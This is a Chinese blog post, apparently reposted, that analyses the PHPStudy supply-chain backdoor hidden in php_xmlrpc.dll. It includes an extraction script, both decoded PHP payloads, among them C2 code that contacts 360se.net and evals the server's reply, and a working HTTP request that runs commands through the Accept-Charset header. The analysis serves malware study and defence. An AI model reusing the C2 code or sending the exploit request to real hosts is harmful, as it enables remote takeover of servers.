• 中科磐云—2022广西逆向解析思路


    Kumqu's Blog

    Written by kumqu 
    on September 30, 2019

    PHPStudy后门分析

    PHPStudy后门分析

    ​ 由于PHPStudy遭受了供应链攻击, PHPStudy软件安装包中的php_xmlrpc.dll模块隐藏有后门. 其中, 影响的版本包括PHPStudy 20161103PHPStudy 20180211. 经过分析, 该后门的核心功能模块有两部分: 第一是通过判断特殊的HTTP头执行远程PHP代码; 第二个是通过判断特殊的HTTP头后连接C&C服务器并执行回传的PHP代码.

    实验环境: Windows 7(32位) , PHPStudy 20181103 版本 php-5.2.17/ext 扩展文件夹下的php_xmlrpc.dll.

    样本信息

    名称

    php_xmlrpc.dll

    SHA256

    aea021c5d79adbdc8a755d2f56db4f2e71781abbdcce2a2fa6e04aff3c02be75

    类型

    32位DLL

    大小

    73,728Byte

    定位特征代码位置

    ​ 使用IDA打开样本php_xmlrpc.dll, 然后打开字符串窗口, 可以发现@eval()这个代码执行函数 (查阅资料得知, @是PHP提供的错误信息屏蔽专用符号, eval()函数把字符串按照PHP代码执行, 中间%s格式符为字符串传参). 如下图所示, 共有两处eval特征代码, 都位于该后门的核心函数中:

    ​ 根据这两个字符串的位置和IDA的交叉引用功能, 就可以直接定位到后门代码的位置. F5分别生成这部分后门漏洞的伪代码, 进行如下分析.

    远程命令执行后门功能分析

    ​ 通过参考相关资料得知, 如果攻击者构造的HTTP头中含有Accept-Encoding字段时就会进入对应的攻击流程. 如果HTTP头中同时含有Accept-Encoding: gzip,deflate以及Accept-Charset两个字段时,会先解密Accept-CharsetBase64后的PHP代码,然后执行该代码,从而造成远程命令执行的危害. 这一部分的伪代码分析如下图所示:

    连接C&C执行任意代码功能分析

    ​ 如果攻击者发起的HTTP请求的头部中带有Accept-Encoding:compress,gzip时则会进入另外一个后门功能逻辑:其首先会拼接获取到的磁盘序列号和MAC地址,后续会将磁盘序列号和MAC地址上传作为被控机器的唯一标识,之后会拼接一些其它数据以及PHP函数传递给PHP Zend引擎执行, 这一部分的伪代码如下图所示:

    ​ 下面的spprintf函数是php官方自己封装的函数,实现了字符串拼接功能.

    ​ 在这个后门功能模块中, spprintf函数拼接了两次字符串, 分别是: spprintf(&v46, 0, a_evalSS, aGzuncompress, v46);和 spprintf(&v45, 0, aS_valSS, v42, aGzuncompress, v45); . 如下图所示:

    ​ 由于变量v45和v46在之后都作为参数被zend_eval_strings函数调用执行了, 因此, 可以推测出变量v45和v46存储了shellcode. 上述代码段分别对变量v45和v46进行了预处理. 分析得知, v46的shellcode位于地址1000C0281000C66C之间, v45的shellcode位于地址1000C66C1000D5C4之间. (见上图红框)

    ​ 使用HexEditor查看第一个shellcode的对应位置, 可以看到shellcode前的gzuncompress标识, 如下图所示:

    ​ Zend引擎需要解析的这段PHP代码的核心是gzuncompress, 查阅资料得知, 该函数通常用于混淆免杀, 其整个语句的构造为$V='';$M='';;@eval(gzuncompress('数据');. 网上已经有了提取并解压这两段shellcode的脚本, 不重复造轮子. 其代码如下所示:

    # -*- coding:utf-8 -*-

    # !/usr/bin/env python

    import os, sys, string, shutil, re

    import base64

    import struct

    import pefile

    import ctypes

    import zlib

    def hexdump(src, length=16):

        FILTER = ''.join([(len(repr(chr(x))) == 3) and chr(x) or '.' for x in range(256)])

        lines = []

        for c in xrange(0, len(src), length):

            chars = src[c:c + length]

            hex = ' '.join(["%02x" % ord(x) for x in chars])

            printable = ''.join(["%s" % ((ord(x) <= 127 and FILTER[ord(x)]) or '.') for x in chars])

            lines.append("%04%-*%s\n" % (c, length * 3, hex, printable))

        return ''.join(lines)

    def descrypt(data):

        try:

            # data = base64.encodestring(data)

            # print(hexdump(data))

            num = 0

            data = zlib.decompress(data)

            # return result

            return (True, result)

        except Exception, e:

            print(e)

            return (False, "")

    def GetSectionData(pe, Section):

        try:

            ep = Section.VirtualAddress

            ep_ava = Section.VirtualAddress + pe.OPTIONAL_HEADER.ImageBase

            data = pe.get_memory_mapped_image()[ep:ep + Section.Misc_VirtualSize]

            # print(hexdump(data))

            return data

        except Exception, e:

            return None

    def GetSecsions(PE):

        try:

            for section in PE.sections:

                # print(hexdump(section.Name))

                if (section.Name.replace('\x00', '') == '.data'):

                    data = GetSectionData(PE, section)

                    # print(hexdump(data))

                    return (True, data)

            return (False, "")

        except Exception, e:

            return (False, "")

    def get_encodedata(filename):

        pe = pefile.PE(filename)

        (ret, data) = GetSecsions(pe)

        if ret:

            flag = "gzuncompress"

            offset = data.find(flag)

            data = data[offset + 0x10:offset + 0x10 + 0x567 * 4].replace("\x00\x00\x00", "")

            decodedata_1 = zlib.decompress(data[:0x191])

            print(hexdump(data[0x191:]))

            decodedata_2 = zlib.decompress(data[0x191:])

            with open("decode_1.txt", "w") as hwrite:

                hwrite.write(decodedata_1)

                hwrite.close

            with open("decode_2.txt", "w") as hwrite:

                hwrite.write(decodedata_2)

                hwrite.close

    def main(path):

        c2s = []

        domains = []

        file_list = os.listdir(path)

        for f in file_list:

            print f

            file_path = os.path.join(path, f)

            get_encodedata(file_path)

    if __name__ == "__main__":

        path = "php-5.2.17"

        main(path)

    ​ 在 ./phpStudy/php 目录运行下运行上述脚本, 成功获得两段被base64编码过的数据, 如下图所示:

    ​ 第一段base64数据解码如下:

    @ini_set("display_errors","0");

    error_reporting(0);

    $h = $_SERVER['HTTP_HOST'];

    $p = $_SERVER['SERVER_PORT'];

    $fp = fsockopen($h, $p, $errno, $errstr, 5);

    if (!$fp) {

    } else {

          $out = "GET {$_SERVER['SCRIPT_NAME']} HTTP/1.1\r\n";

          $out .= "Host: {$h}\r\n";

          $out .= "Accept-Encoding: compress,gzip\r\n";

          $out .= "Connection: Close\r\n\r\n";

     

          fwrite($fp, $out);

          fclose($fp);

    }

    ​ 这段PHP代码功能是向本机发起一个HTTP请求,并带有Accept-Encoding:compress,gzip请求头,然后该请求就可以自动激活功能模块二,从而连接C&C服务器上传系统信息。自动触发方式结束后就会更新当前触发的时间,下一次就根据这个时间来判断是否进入自动触发方式:

    ​ 第二段base64数据解码如下:

    @ini_set("display_errors","0");

    error_reporting(0);

    function tcpGet($sendMsg = '', $ip = '360se.net', $port = '20123'){

          $result = "";

      $handle = stream_socket_client("tcp://{$ip}:{$port}", $errno, $errstr,10);                                    //接收数据,每次过来一条数据连接一次

      if( !$handle ){

        $handle = fsockopen($ip, intval($port), $errno, $errstr, 5);

                                                                  //错误的时候就重连一次测试

          if( !$handle ){

                return "err";

          }

      }

      fwrite($handle, $sendMsg."\n");                                // 模拟发送数据

          while(!feof($handle)){

                stream_set_timeout($handle, 2);

                $result .= fread($handle, 1024);                    // 读取文件

                $info = stream_get_meta_data($handle);

                if ($info['timed_out']) {

                  break;

                }

           }

      fclose($handle);

      return $result;

    }

    $ds = array("www","bbs","cms","down","up","file","ftp");// 域名表

    $ps = array("20123","40125","8080","80","53");              // 遍历端口表

    $n = false;

    do {

          $n = false;

          foreach ($ds as $d){                                          //遍历域名表

                $b = false;

                foreach ($ps as $p){                                    // 遍历端口表

                      $result = tcpGet($i,$d.".360se.net",$p);

                      if ($result != "err"){

                            $b =true;

                            break;

                      }

                }

                if ($b)break;

          }

          $info = explode("<^>",$result);

          if (count($info)==4){

                if (strpos($info[3],"/*Onemore*/") !== false){

                      $info[3] = str_replace("/*Onemore*/","",$info[3]);

                      $n=true;

                }

                @eval(base64_decode($info[3]));

          }

    }while($n);

    ​ 这段PHP代码中内置有域名表和端口表, 批量遍历后发送请求到C&C地址360se.net, 然后执行由C&C服务器返回的内容.

    远程命令执行后门测试

    ​ 首先, 运行并启动存在问题的PHPStudy版本, 如下图所示:

    ​ EXP如下图, 通过构造http请求实现远程代码执行. 其中, echo system("net user")命令经base64编码后为ZWNobyBzeXN0ZW0oIm5ldCB1c2VyIik7, 可以显示主机上的用户, 用于回显验证. Accept-Encoding字段值设为gzip,deflate, 然后才会判断是否存在Accept-Charset字段并取得该字段的值. base64解码后执行, 即实现远程命令执行:

    GET /index.php HTTP/1.1

    Host: 192.168.253.147

    Cache-Control: max-age=0

    Upgrade-Insecure-Requests: 1

    User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.25 Safari/537.36 Core/1.70.3730.400 QQBrowser/10.5.3805.400

    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8

    Accept-Encoding: gzip,deflate

    Accept-Charset: ZWNobyBzeXN0ZW0oIm5ldCB1c2VyIik7

    Accept-Language: zh-CN,zh;q=0.9

    Connection: close

    ​ 在burpsuite中构造上述http请求, 并发送该请求给目标主机, 回显验证了该后门利用实现了.如下图所示:

    参考资料

    [1] PHPStudyGhost后门隐蔽触发功能详细分析

    ​ https://mp.weixin.qq.com/s/t-P-n98ZydP3aSCdC0C9hQ

    [2] phpStudy后门简要分析

    ​ https://www.freebuf.com/articles/others-articles/215406.html

    [3] PHPStudy后门事件分析

    ​ https://bbs.pediy.com/thread-254702.htm

    Top

    © 2020 KUMQU. Made with Jekyll using the Tale theme.

  • 相关阅读:
    深度学习——day28 class1 week3 神经网络中的激活函数与反向传播推导
    Vue3.0 项目结构及组件
    备战数学建模34-BP神经网络预测2
    动态规划进阶【2】
    SpringBoot3项目框架搭建
    微信小程序4~6章总结
    23种设计模式 9组合模式
    普通加法器与加1逻辑的面积一样吗
    持续性能优化:确保应用保持高性能
    Git拉取指定文件或者文件夹
  • 原文地址:https://blog.csdn.net/qq_48609816/article/details/125567127